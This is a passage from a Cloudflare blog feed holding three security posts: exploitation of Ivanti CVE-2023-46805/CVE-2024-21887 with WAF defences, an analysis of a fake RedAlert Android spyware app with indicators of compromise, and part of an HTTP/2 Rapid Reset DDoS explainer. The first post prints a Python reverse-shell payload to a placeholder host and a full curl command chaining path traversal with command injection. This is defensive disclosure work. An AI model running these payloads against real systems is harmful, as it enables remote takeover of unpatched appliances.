            <pre><code>;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';</code></pre>
            <p>The Python reverse shell is a way for the attacker to gain control over the target system.</p><p>The vulnerability exists in the way the system processes the <b>node_name</b> parameter. If an attacker can control the value of <b>node_name</b>, they can inject commands into the system.</p><p>To elaborate on 'node_name': The 'node_name' parameter is a component of the endpoint /api/v1/license/keys-status/path:node_name. This endpoint is where the issue primarily occurs.</p><p>The attacker can send a GET request to the URI path <b>/api/v1/totp/user-backup-code/../../license/keys-status/;CMD;</b> where CMD is any command they wish to execute. By using a semicolon, they can specify this command in the request. To ensure the command is correctly processed by the system, it must be URL-encoded.</p><p>Another code injection vulnerability was identified, as detailed in the blog post from AttackerKB. This time, it involves an authenticated command injection found in a different part of the system.</p><p>The same Python reverse shell payload used in the first command injection can be employed here, forming a JSON structure to trigger the vulnerability. Since the payload is in JSON, it doesn't need to be URL-encoded:</p>
            <pre><code>{
    "type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
    "txtGCPProject": "a",
    "txtGCPSecret": "a",
    "txtGCPPath": "a",
    "txtGCPBucket": "a"
}</code></pre>
            <p>Although the <b>/api/v1/system/maintenance/archiving/cloud-server-test-connection</b> endpoint requires authentication, an attacker can bypass this by chaining it with the previously mentioned directory traversal vulnerability. They can construct an unauthenticated URI path <b>/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection</b> to reach this endpoint and exploit the vulnerability.</p><p>To execute an unauthenticated operating system command, an attacker would use a curl request like this:</p>
            <pre><code>curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'</code></pre>
            
    <div>
      <h3>Cloudflare's proactive defense</h3>
      <a href="#cloudflares-proactive-defense">
        
      </a>
    </div>
    <p>Cloudflare WAF is supported by an additional AI-powered layer called <a href="/stop-attacks-before-they-are-known-making-the-cloudflare-waf-smarter/">WAF Attack Score</a>, which is built for the purpose of catching attack bypasses before they are even announced. Attack Score provides a score to indicate if the request is malicious or not; focusing on three main categories until now: XSS, SQLi, and some RCE variations (Command Injection, ApacheLog4J, etc.). The score ranges from 1 to 99 and the lower the score the more malicious the request is. Generally speaking, any request with a score below 20 is considered malicious.</p><p>Looking at the results of the exploitation example above of CVE-2023-46805 and CVE-2024-21887 using Cloudflare’s dashboard (Security &gt; Events). Attack Score analysis results consist of three individual scores, each labeled to indicate their relevance to a specific attack category. There's also a global score, "WAF Attack Score", which considers the combined impact of these three scores. In some cases, the global score is affected by one of the sub-scores if the attack matches a category, here we can see the dominant sub-score is Remote Code Execution “WAF RCE Attack Score”.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/qkPQsiNBaL4HSooddJ7Mv/8e308dc48932a8ea859414bd664bbab3/image2-2.png" />
            
            </figure><p>Similarly, for the unauthenticated operating system command request, we received “WAF Attack Score: 19” from the AI model which also lies under the malicious request category. Worth mentioning the example scores are not fixed numbers and may vary based on the incoming attack variation.</p><p>The great news here is: customers on Enterprise and Business plans with WAF attack score enabled, along with a rule to block low scores (e.g. <code>[cf.waf.score](https://developers.cloudflare.com/waf/about/waf-attack-score/#available-scores) le 20</code>) or (<code>[cf.waf.score.class](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#field-cf-waf-score-class) eq</code> "<code>attack</code>") for Business, were already shielded from potential vulnerability exploits that were tested so far even before the vulnerability was announced.</p>
    <div>
      <h3>Emergency rule deployment</h3>
      <a href="#emergency-rule-deployment">
        
      </a>
    </div>
    <p>In response to this critical vulnerability, Cloudflare <a href="https://developers.cloudflare.com/waf/change-log/2024-01-17---emergency-release/">released Emergency Rules on January 17, 2024</a>, Within 24 hours after the proof of concept went public. These rules are part of its Managed Rules for the WAF, specifically targeting the threats posed by CVE-2023-46805 and an additional vulnerability, CVE-2024-21887, also related to Ivanti products. The rules, named "Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887," are developed to block attempts to exploit these vulnerabilities, providing an extra layer of security for Cloudflare users.</p><p>Since we deployed these rules, we have recorded a high level of activity. At the time of writing, the rule was triggered more than 180,000 times.</p>
<table>
<thead>
  <tr>
    <th><span>Rule ID</span></th>
    <th><span>Description</span></th>
    <th><span>Default Action</span></th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><span>New Managed Rule…34ab53c5</span></td>
    <td><span>Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887</span></td>
    <td><span>Block</span></td>
  </tr>
  <tr>
    <td><span>Legacy Managed Rule</span><br /><span>100622</span><br /></td>
    <td><span>Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887</span></td>
    <td><span>Block</span></td>
  </tr>
</tbody>
</table>
    <div>
      <h3>Implications and best practices</h3>
      <a href="#implications-and-best-practices">
        
      </a>
    </div>
    <p>Cloudflare's response to CVE-2023-46805 and CVE-2024-21887 underscores the importance of having robust security measures in place. Organizations using Cloudflare services, particularly the WAF, are advised to ensure that their systems are updated with the latest rules and configurations to maintain optimal protection. We also recommend customers to deploy rules using Attack Score to improve their security posture. If you want to learn more about Attack Score, contact your account team.</p>
    <div>
      <h3>Conclusion</h3>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>Cloudflare's proactive approach to cybersecurity using AI to identify and stop attacks, exemplified by its response to CVE-2023-46805 and CVE-2024-21887, highlights how threats and attacks can be identified before they are made public and vulnerabilities disclosed. By continuously monitoring and rapidly responding to vulnerabilities, Cloudflare ensures that its clients remain secure in an increasingly complex digital landscape.</p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[WAF Attack Score]]></category>
            <category><![CDATA[Zero Day Threats]]></category>
            <category><![CDATA[AI WAF]]></category>
            <guid isPermaLink="false">4HVUjfTR7K6M1rk2RCgVkA</guid>
            <dc:creator>Himanshu Anand</dc:creator>
            <dc:creator>Radwa Radwan</dc:creator>
            <dc:creator>Vaibhav Singhal</dc:creator>
        </item>
        <item>
            <title><![CDATA[Malicious “RedAlert - Rocket Alerts” application targets Israeli phone calls, SMS, and user information]]></title>
            <link>https://blog.cloudflare.com/malicious-redalert-rocket-alerts-application-targets-israeli-phone-calls-sms-and-user-information/</link>
            <pubDate>Sat, 14 Oct 2023 00:00:55 GMT</pubDate>
            <description><![CDATA[ On October 13, 2023, Cloudflare’s Cloudforce One Threat Operations Team became aware of a malicious Google Android application impersonating the real-time rocket alert app, Red Alert, which  provides real-time rocket alerts for Israeli citizens ]]></description>
            <content:encoded><![CDATA[ <p></p><p>On October 13, 2023, Cloudflare’s Cloudforce One Threat Operations Team became aware of a website hosting a Google Android Application (APK) impersonating the legitimate RedAlert - Rocket Alerts application (<a href="https://play.google.com/store/apps/details?id=com.red.alert&amp;hl=en&amp;pli=1">https://play.google.com/store/apps/details?id=com.red.alert&amp;hl=en&amp;pli=1</a>).  More than 5,000 rockets have been launched into Israel since the attacks from Hamas began on October 7th 2023.  RedAlert - Rocket Alerts developed by Elad Nava allows individuals to receive timely and precise alerts about incoming airstrikes. Many people living in Israel rely on these alerts to seek safety - a service which has become increasingly important given the newest escalations in the region.</p><p>Applications alerting of incoming airstrikes have become targets as only days ago, Pro-Palestinian hacktivist group AnonGhost exploited a vulnerability in another application, “Red Alert: Israel” by Kobi Snir. (<a href="https://cybernews.com/cyber-war/israel-redalert-breached-anonghost-hamas/">https://cybernews.com/cyber-war/israel-redalert-breached-anonghost-hamas/</a>) Their exploit allowed them to intercept requests, expose servers and APIs, and send fake alerts to some app users, including a message that a “nuclear bomb is coming”. AnonGhost also claimed they attacked other rocket alert applications, including RedAlert by Elad Nava. As of October 11, 2023, the RedAlert app was reportedly functioning normally.</p><p>In the last two days, a new malicious website (<i>hxxps://redalerts[.]me</i>) has advertised the download of well-known open source application RedAlert by Elad Nava (<a href="https://github.com/eladnava/redalert-android">https://github.com/eladnava/redalert-android</a>). Domain impersonation continues to be a popular vector for attackers, as the legitimate website for the application (<i>hxxps://redalert[.]me</i> ) differs from the malicious website by only one letter. Further, threat actors continue to exploit open source code and deploy modified, malicious versions to unsuspecting users.</p><p>The malicious website hosted links to both the iOS and the Android version of the RedAlert app. But while the link to the Apple App Store referred to the legitimate version of the RedAlert app by Elad Nava, the link supposedly referring to the Android version hosted on the Play Store directly downloads a malicious APK file. This attack demonstrates the danger of sideloading applications directly from the Internet as opposed to installing applications from the approved app store.</p><p>The malicious RedAlert version imitates the legitimate rocket alert application but simultaneously collects sensitive user data. Additional permissions requested by the malicious app include access to contacts, call logs, SMS, account information, as well as an overview of all installed apps.</p><p>The website hosting the malicious file was created on October 12, 2023 and has since been taken offline. Only users who installed the Android version of the app from this specific website are impacted and urgently advised to delete the app. Users can determine if they installed the malicious version by reviewing the permissions granted to the RedAlert app. If users are unsure whether they installed the malicious version, they can delete the RedAlert applications and reinstall the legitimate version directly in the Play Store.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6nCyNtOTncD702msYn7mzW/9550d6742b8bbf6ba382d36166da4357/pasted-image-0--13-.png" />
            
            </figure><p><i>Screenshot of the attacker site </i><a href="https://redalerts\[.\]me"><i>https://redalerts\[.\]me</i></a></p>
    <div>
      <h3>Malicious Android Package Kit (APK) Analysis</h3>
      <a href="#malicious-android-package-kit-apk-analysis">
        
      </a>
    </div>
    <p>The malicious Android Package Kit (APK) file is installed by a user when they click the Google Play button on the fake RedAlert site. Once clicked, the user downloads the app directly from the fake site at <code><i>hxxps://redalerts[.]me/app.apk</i></code>. The SHA-256 hash of the APK is <code><i>5087a896360f5d99fbf4eb859c824d19eb6fa358387bf6c2c5e836f7927921c5</i></code>.</p>
    <div>
      <h2>Capabilities</h2>
      <a href="#capabilities">
        
      </a>
    </div>
    <p>A quick analysis of the <i>AndroidManifest.xml</i> file shows several differences compared to the legitimate, open source RedAlert application. Most notable are the additional permissions needed to collect information on the victim. The permissions added are listed below:</p><ul><li><p>android.permission.GET_ACCOUNTS</p></li><li><p>android.permission.QUERY_ALL_PACKAGES</p></li><li><p>android.permission.READ_CALL_LOG</p></li><li><p>android.permission.READ_CONTACTS</p></li><li><p>android.permission.READ_PHONE_NUMBERS</p></li><li><p>android.permission.READ_PHONE_STATE</p></li><li><p>android.permission.READ_PRIVILEGED_PHONE_STATE</p></li><li><p>android.permission.READ_SMS</p></li></ul><p>The application is designed to look and act like RedAlert. However, upon opening the app, a malicious service is started in the background. The <code><i>startService()</i></code> call is the only change to the <code><i>onCreate()</i></code> method, and this begins the sequence of malicious activity, which the actor has placed in a package called <code><i>com.company.allinclusive.AI</i></code></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5SOvfo0vzlyyREVB4A9Jyt/a3a971fe5b0860bb403528579a5f5393/pasted-image-0--14-.png" />
            
            </figure><p><i>The attacker starts their malicious code within the legitimate RedAlert code com.red.alert.activities: Main.java</i></p><p>The service is run to gather data from victims’ phones and upload it to the actor’s secure server. The data is extensive and includes:</p><ul><li><p>SIM information, including IMEI and IMSI numbers, network type, country, voicemail number, PIN status, and more</p></li><li><p>Full Contact list</p></li><li><p>All SMS messages, including content and metadata for all statuses (e.g. received, outgoing, sent, etc.)</p></li><li><p>A list of accounts associated with the device</p></li><li><p>All phone calls and conversation details for including incoming, outgoing, missed, rejected, and blocked calls</p></li><li><p>Logged-in email and app accounts</p></li><li><p>List of installed applications</p></li></ul><p>The actor’s code for gathering this information is illustrated below.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/33VyzytviTDeG7qXy6aCrK/3f74918c7ceaaae9a9ce18fd650050a2/Screenshot-2023-10-13-at-3.32.27-PM.png" />
            
            </figure><p><i>com.company.allinclusive.AI: AIMain.java contains the data the attacker will capture form the target</i></p><p>Stolen data is uploaded to an HTTP server at a hardcoded IP address. The actor has a <i>Tools</i> class which details the IP address where the data is to be uploaded:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5Fh4WgPsM5kmKnuM8Jqyxh/1307c4a8306bafcdfd47cc2f5e5323b8/Screenshot-2023-10-13-at-3.31.42-PM.png" />
            
            </figure><p><b>com.company.allinclusive.AI: Tools.java stores the attackers command and control for the malware</b></p><p>Although HTTP and port 80 are specified, the actor appears to have the ability to use HTTPS and port 443 if a certificate is found bundled within the application package:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4ty1JMARyIggOGXmFoJjcE/7c4fe21747005a3882da8d2ca448583d/Screenshot-2023-10-13-at-3.30.20-PM.png" />
            
            </figure><p><i>com.company.allinclusive.AI: UploadFileAsync.java</i></p><p>Data is uploaded through a <i>Connector</i> class, written by the actor. The <i>Connector</i> is responsible for encrypting the stolen data and uploading it to the HTTP server. In this sample, files are encrypted with AES in CBC mode with PKCS5 Padding. The keys are randomly generated and appended to the packaged data, however the keys are encrypted with RSA using a public key bundled in the malicious app. Because of this, anybody who is able to intercept the stolen data will be unable to decrypt it without the actor’s private key.</p><p>The encrypted files have names that look like <i>_</i><i>.final</i>, which contain:</p><ul><li><p><i><b>_</b></i><i><b>.enc</b></i><b> (encrypted data)</b></p></li><li><p><i><b>_</b></i><i><b>.param</b></i><b> (AES encryption parameters, e.g. key and IV)</b></p></li><li><p><i><b>_</b></i><i><b>.eparam</b></i><b> (RSA parameters, e.g. public key)</b></p></li></ul>
    <div>
      <h2>Anti-Analysis Runtime Capabilities</h2>
      <a href="#anti-analysis-runtime-capabilities">
        
      </a>
    </div>
    <p>To avoid detection the actor included anti-analysis capabilities which can run at the time the app is started. The methods for anti-analysis that the attacker has included were anti-debugging, anti-emulation, and anti-test operations</p>
    <div>
      <h3>Anti-Debugging</h3>
      <a href="#anti-debugging">
        
      </a>
    </div>
    <p>The application makes a simple call using the builtin <i>android.os.Debug</i> package to see if the application is being debugged.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7n1Dsyz3tBVwTCQDzQjCpu/62e2fcf823fee0b7c1f144d1d302c557/Screenshot-2023-10-13-at-3.29.28-PM.png" />
            
            </figure><p><i>com.company.allinclusive.AI.anti.debugger: FindDebugger.java</i></p>
    <div>
      <h3>Anti-Emulation</h3>
      <a href="#anti-emulation">
        
      </a>
    </div>
    <p>The application attempts to locate certain files and identifiers to determine whether it is being run in an emulated environment. A snippet of these indicators are shown below:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5oRGahgfmW0fqsFZ3L7Bi1/c63b68f780e19a3a3d8f005db7e15c50/pasted-image-0--12--1.png" />
            
            </figure><p><i>com.company.allinclusive.AI.anti.emulator: FindEmulator.java checks for common emulators</i></p>
    <div>
      <h3>Anti-Test</h3>
      <a href="#anti-test">
        
      </a>
    </div>
    <p>The application has utilities to identify whether a test user (“monkey”) is using the application:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5bibuD77OAXj6pBVkBb012/9d5c06d0c17b43978e70bfe6101ea8d4/Screenshot-2023-10-13-at-3.28.48-PM.png" />
            
            </figure><p><i>com.company.allinclusive.AI.anti.monkey: FindMonkey.java</i></p><p>These methodologies are all rudimentary checks for whether the application is under runtime analysis. It does not, however, protect the malicious code against static analysis.</p>
    <div>
      <h2>How To Detect This Malware On Your Device</h2>
      <a href="#how-to-detect-this-malware-on-your-device">
        
      </a>
    </div>
    <p>If you have installed RedAlert on your device, the extraneous permissions added by the actor can be used to determine whether you have been compromised. The following permissions appearing on the RedAlert app (whether or not enabled) would indicate compromise:</p><ul><li><p>Call Logs</p></li><li><p>Contacts</p></li><li><p>Phone</p></li><li><p>SMS</p></li></ul>
    <div>
      <h2>How To Protect Yourself</h2>
      <a href="#how-to-protect-yourself">
        
      </a>
    </div>
    <p>You can avoid attacks like this by following the guidance below:</p><ul><li><p>Keep your mobile device up to date on the latest software version at all times</p></li><li><p>Consider using Cloudflare Teams (with <a href="https://www.cloudflare.com/zero-trust/products/gateway/">Cloudflare Gateway</a>)</p></li><li><p>Avoid using third party mobile application stores</p></li><li><p>Never install applications from Internet URLs or sideload payloads</p></li><li><p>Consider using <a href="https://1.1.1.1/family/">1.1.1.1 for families</a> to block malicious domains on your network</p></li></ul>
    <div>
      <h2>IOCs</h2>
      <a href="#iocs">
        
      </a>
    </div>
    <table><colgroup><col></col><col></col></colgroup><tbody><tr><td><p><span>Type</span></p></td><td><p><span>Indicator</span></p></td></tr><tr><td><p><span>Malicious RedAlert APK Download URL</span></p></td><td><p><span>hxxp://redalerts[.]me/app.apk</span></p></td></tr><tr><td><p><span>Malicious RedAlert APK Command and Control</span></p></td><td><p><span>hxxp://23.254.228[.]135:80/file.php</span></p></td></tr><tr><td><p><span>Malicious RedAlert APK</span></p></td><td><p><span>5087a896360f5d99fbf4eb859c824d19eb6fa358387bf6c2c5e836f7927921c5</span></p></td></tr><tr><td><p><span>Public key, RSA/ECB/PKCS1Padding</span></p></td><td><p><span>MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvBYe8dLw1TVH39EVQEwCr7kgBRtQz2M2vQbgkbr0UiTFm0Tk9KVZ1jn0uVgJ+dh1I7uuIfzFEopFQ35OxRnjmNAJsOYpYA5ZvD2llS+KUyE4TRJZGh+dfGjc98dCGCVW9aPVuyfciFNpzGU+lUV/nIbi8xmHOSzho+GZvrRWNDvJqmX7Xunjr1crAKIpG1kF8bpa9+VkoKnMOqFBTc6aPEmwj4CmeTsTy+j7ubdKc8tsdoCTGfrLzVj4wlGDjtf06dYEtZ6zvdBbzb4UA6Ilxsb12KY03qdlqlFREqCxjtJUYDEYChnpOSkrzpLOu+TTkAlW68+u6JjgE8AAAnjpIGRRNvuj5ZfTS3Ub3xEABBRUuHcesseuaN3wVwvMBIMbWJabVUWUNWYyCewxrtdrc8HStECbS/b05j2lv6Cl1Qv1iQefurL/hvfREmxlHAnkCmzTxlrEStHHnNmhWOccQI+u0VO6klJShNg8XlRsKXnqpPi3aicki+QMo3i1oWOve6aWkAIJvmHaY4Gmz0nX2foxlJ2YxOGQe0rUAqDXa8S6tYSmIyCYJoTmllvwJAEpCtOFxerZIAa/1BaxYFhH/iQUzzayJuc6ooUmKLw7q72pe3tN0cRT3RAJUmRwTcV5hL+UQgakkSzIMFBpM/rpvNC0Qy94mtpNf6iA6gbKm40CAwEAAQ==</span></p></td></tr></tbody></table><hr /><p>Under attack? Contact our <a href="https://www.cloudflare.com/under-attack-hotline/">hotline</a> to speak with someone immediately.<i>Visit</i> <a href="https://1.1.1.1/"><i>1.1.1.1</i></a> <i>from any device to get started with our free app that makes your Internet faster and safer.To learn more about our mission to help build a better Internet, start</i> <a href="https://www.cloudflare.com/learning/what-is-cloudflare/"><i>here</i></a><i>. If you’re looking for a new career direction, check out</i> <a href="https://cloudflare.com/careers"><i>our open positions</i></a><i>.</i></p> ]]></content:encoded>
            <category><![CDATA[Cloudforce One]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Internet Traffic]]></category>
            <category><![CDATA[Malware]]></category>
            <category><![CDATA[Threat Intelligence]]></category>
            <guid isPermaLink="false">5EMFsMJweR3mxektZeptQt</guid>
            <dc:creator>Blake Darché</dc:creator>
            <dc:creator>Armen Boursalian</dc:creator>
            <dc:creator>Javier Castro</dc:creator>
        </item>
        <item>
            <title><![CDATA[HTTP/2 Rapid Reset: deconstructing the record-breaking attack]]></title>
            <link>https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/</link>
            <pubDate>Tue, 10 Oct 2023 12:02:28 GMT</pubDate>
            <description><![CDATA[ This post dives into the details of the HTTP/2 protocol, the feature that attackers exploited to generate the massive Rapid Reset attacks ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Starting on Aug 25, 2023, we started to notice some unusually big HTTP attacks hitting many of our customers. These attacks were detected and mitigated by our automated DDoS system. It was not long however, before they started to reach record-breaking sizes — and eventually peaked just above 201 million requests per second. This was nearly 3x bigger than our <a href="/cloudflare-mitigates-record-breaking-71-million-request-per-second-ddos-attack/">previous biggest attack on record</a>.</p><em><small>Under attack or need additional protection? <a href="https://www.cloudflare.com/h2/">Click here to get help</a>.</small></em><br /><p>Concerning is the fact that the attacker was able to generate such an attack with a botnet of merely 20,000 machines. There are botnets today that are made up of hundreds of thousands or millions of machines. Given that the entire web typically sees only between 1–3 billion requests per second, it's not inconceivable that using this method could focus an entire web’s worth of requests on a small number of targets.</p>
    <div>
      <h2>Detecting and Mitigating</h2>
      <a href="#detecting-and-mitigating">
        
      </a>
    </div>
    <p>This was a novel attack vector at an unprecedented scale, but Cloudflare's existing protections were largely able to absorb the brunt of the attacks. While initially we saw some impact to customer traffic — affecting roughly 1% of requests during the initial wave of attacks — today we’ve been able to refine our mitigation methods to stop the attack for any Cloudflare customer without it impacting our systems.</p><p>We noticed these attacks at the same time two other major industry players — Google and AWS — were seeing the same. We worked to harden Cloudflare’s systems to ensure that, today, all our customers are protected from this new DDoS attack method without any customer impact. We’ve also participated with Google and AWS in a coordinated disclosure of the attack to impacted vendors and critical infrastructure providers.</p><p>This attack was made possible by abusing some features of the HTTP/2 protocol and server implementation details (see  <a href="https://www.cve.org/CVERecord?id=CVE-2023-44487">CVE-2023-44487</a> for details). Because the attack abuses an underlying weakness in the HTTP/2 protocol, we believe any vendor that has implemented HTTP/2 will be subject to the attack. This included every modern web server. We, along with Google and AWS, have disclosed the attack method to web server vendors who we expect will implement patches. In the meantime, the best defense is using a DDoS mitigation service like Cloudflare’s in front of any web-facing web or API server.</p><p>This post dives into the details of the HTTP/2 protocol, the feature that attackers exploited to generate these massive attacks, and the mitigation strategies we took to ensure all our customers are protected. Our hope is that by publishing these details other impacted web servers and services will have the information they need to implement mitigation strategies. And, moreover, the HTTP/2 protocol standards team, as well as teams working on future web standards, can better design them to <a href="https://www.cloudflare.com/learning/ddos/how-to-prevent-ddos-attacks/">prevent such attacks</a>.</p>
    <div>
      <h2>RST attack details</h2>
      <a href="#rst-attack-details">
        
      </a>
    </div>
    <p>HTTP is the application protocol that powers the Web. <a href="https://www.rfc-editor.org/rfc/rfc9110.html">HTTP Semantics</a> are common to all versions of HTTP — the overall architecture, terminology, and protocol aspects such as request and response messages, methods, status codes, header and trailer fields, message content, and much more. Each individual HTTP version defines how semantics are transformed into a "wire format" for exchange over the Internet. For example, a client has to serialize a request message into binary data and send it, then the server parses that back into a message it can process.</p><p><a href="https://www.rfc-editor.org/rfc/rfc9112.html">HTTP/1.1</a> uses a textual form of serialization. Request and response messages are exchanged as a stream of ASCII characters, sent over a reliable transport layer like TCP, using the following <a href="https://www.rfc-editor.org/rfc/rfc9112.html#section-2.1">format</a> (where CRLF means carriage-return and linefeed):</p>
            <pre><code> HTTP-message   = start-line CRLF
                   *( field-line CRLF )
                   CRLF
                   [ message-body ]</code></pre>
            <p>For example, a very simple GET request for <code>https://blog.cloudflare.com/</code> would look like this on the wire:</p><p><code>GET / HTTP/1.1 CRLFHost: blog.cloudflare.comCRLFCRLF</code></p><p>And the response would look like:</p><p><code>HTTP/1.1 200 OK CRLFServer: cloudflareCRLFContent-Length: 100CRLFtext/html; charset=UTF-8CRLFCRLF&lt;100 bytes of data&gt;</code></p><p>This format <b>frames</b> messages on the wire, meaning that it is possible to use a single TCP connection to exchange multiple requests and responses. However, the format requires that each message is sent whole. Furthermore, in order to correctly correlate requests with responses, strict ordering is required; meaning that messages are exchanged serially and can not be multiplexed. Two GET requests, for <code>https://blog.cloudflare.com/</code> and <code>https://blog.cloudflare.com/page/2/</code>, would be:</p><p><code>GET / HTTP/1.1 CRLFHost: blog.cloudflare.comCRLFCRLFGET /page/2/ HTTP/1.1 CRLFHost: blog.cloudflare.comCRLFCRLF</code></p><p>With the responses:</p><p><code>HTTP/1.1 200 OK CRLFServer: cloudflareCRLFContent-Length: 100CRLFtext/html; charset=UTF-8CRLFCRLF&lt;100 bytes of data&gt;CRLFHTTP/1.1 200 OK CRLFServer: cloudflareCRLFContent-Length: 100CRLFtext/html; charset=UTF-8CRLFCRLF&lt;100 bytes of data&gt;</code></p><p>Web pages require more complicated HTTP interactions than these examples. When visiting the Cloudflare blog, your browser will load multiple scripts, styles and media assets. If you visit the front page using HTTP/1.1 and decide quickly to navigate to page 2, your browser can pick from two options. Either wait for all of the queued up responses for the page that you no longer want before page 2 can even start, or cancel in-flight requests by closing the TCP connection and opening a new connection. Neither of these is very practical. Browsers tend to work around these limitations by managing a pool of TCP connections (up to 6 per host) and implementing complex request dispatch logic over the pool.</p><p><a href="https://www.rfc-editor.org/rfc/rfc9113">HTTP/2</a> addresses many of the issues with HTTP/1.1. Each HTTP message is serialized into a set of <b>HTTP/2 frames</b> that have type, length, flags, stream identifier (ID) and payload. The stream ID makes it clear which bytes on the wire apply to which message, allowing safe multiplexing and concurrency. Streams are bidirectional. Clients send frames and servers reply with frames using the same ID.</p><p>In HTTP/2 our GET request for <code>https://blog.cloudflare.com</code> would be exchanged across stream ID 1, with the client sending one <a href="https://www.rfc-editor.org/rfc/rfc9113#name-headers">HEADERS</a> frame, and the server responding with one HEADERS frame, followed by one or more <a href="https://www.rfc-editor.org/rfc/rfc9113#name-data">DATA</a> frames. Client requests always use odd-numbered stream IDs, so subsequent requests would use stream ID 3, 5, and so on. Responses can be served in any order, and frames from different streams can be interleaved.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/UgsMj35BXBaxK2dKVIvC2/8b6db7d94e03f2a0f9f0f9a2c2a55df6/Screenshot-2023-10-09-at-2.13.29-PM.png" />
            
            </figure><p>Stream multiplexing and concurrency are powerful features of HTTP/2. They enable more efficient usage of a single TCP connection. HTTP/2 optimizes resources fetching especially when coupled with <a href="/better-http-2-prioritization-for-a-faster-web/">prioritization</a>. On the flip side, making it easy for clients to launch large amounts of parallel work can increase the peak demand for server resources when compared to HTTP/1.1. This is an obvious vector for denial-of-service.</p><p>In order to provide some guardrails, HTTP/2 provides a notion of maximum active <a href="https://www.rfc-editor.org/rfc/rfc9113#section-5.1.2">concurrent streams</a>. The <a href="https://www.rfc-editor.org/rfc/rfc9113#SETTINGS_MAX_FRAME_SIZE">SETTINGS_MAX_CONCURRENT_STREAMS</a> parameter allows a server to advertise its limit of concurrency. For example, if the server states a limit of 100, then only 100 requests can be active at any time. If a client attempts to open a stream above this limit, it must be rejected by the server using a <a href="https://www.rfc-editor.org/rfc/rfc9113#section-6.4">RST_STREAM</a> frame. Stream rejection does not affect the other in-flight streams on the connection.</p><p>The true story is a little more complicated. Streams have a <a href="https://www.rfc-editor.org/rfc/rfc9113#section-5.1">lifecycle</a>. Below is a diagram of the HTTP/2 stream state machine. Client and server manage their own views of the state of a stream. HEADERS, DATA and RST_STREAM frames trigger transitions when they are sent or received. Although the views of the stream state are independent, they are synchronized.</p><p>HEADERS and DATA frames include an END_STREAM flag, that when set to the value 1 (true), can trigger a state transition.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2iRGsrf6eBGkrJ0rpqZtSx/a4c47fc7f29ec562660aa75c3e26e13c/Request-stream-states.png" />
            
            </figure><p>Let's work through this with an example of a GET request that has no message content. The client sends the request as a HEADERS frame with the END_STREAM flag set to 1. The client first transitions the stream from <b>idle</b> to <b>open</b> state, then immediately transitions into <b>half-closed</b> state. The client half-closed state means that it can no longer send HEADERS or DATA, only <a href="https://www.rfc-editor.org/rfc/rfc9113.html#section-6.9">WINDOW_UPDATE</a>, <a href="https://www.rfc-editor.org/rfc/rfc9113.html#section-6.3">PRIORITY</a> or RST_STREAM frames. It can receive any frame however.</p><p>Once the server receives and parses the HEADERS frame, it transitions the stream state from idle to open and then half-closed, so it matches the client. The server half-closed state means it can send any frame but receive only WINDOW_UPDATE, PRIORITY or RST_STREAM frames.</p><p>The response to the GET contains message content, so the server sends HEADERS with END_STREAM flag set to 0, then DATA with END_STREAM flag set to 1. The DATA frame triggers the transition of the stream from <b>half-closed</b> to <b>closed</b> on the server. When the client receives it, it also transitions to closed. Once a stream is closed, no frames can be sent or received.</p><p>Applying this lifecycle back into the context of concurrency, HTTP/2 <a href="https://www.rfc-editor.org/rfc/rfc9113#section-5.1.2-2">states</a>:</p><p><i>Streams that are in the "open" state or in either of the "half-closed" states count toward the maximum number of streams that an endpoint is permitted to open. Streams in any of these three states count toward the limit advertised in the</i> <a href="https://www.rfc-editor.org/rfc/rfc9113#SETTINGS_MAX_CONCURRENT_STREAMS"><i>SETTINGS_MAX_CONCURRENT_STREAMS</i></a> <i>setting.</i></p><p>In theory, the concurrency limit is useful. However, there are practical factors that hamper its effectiveness— which we will cover later in the blog.</p>
    <div>
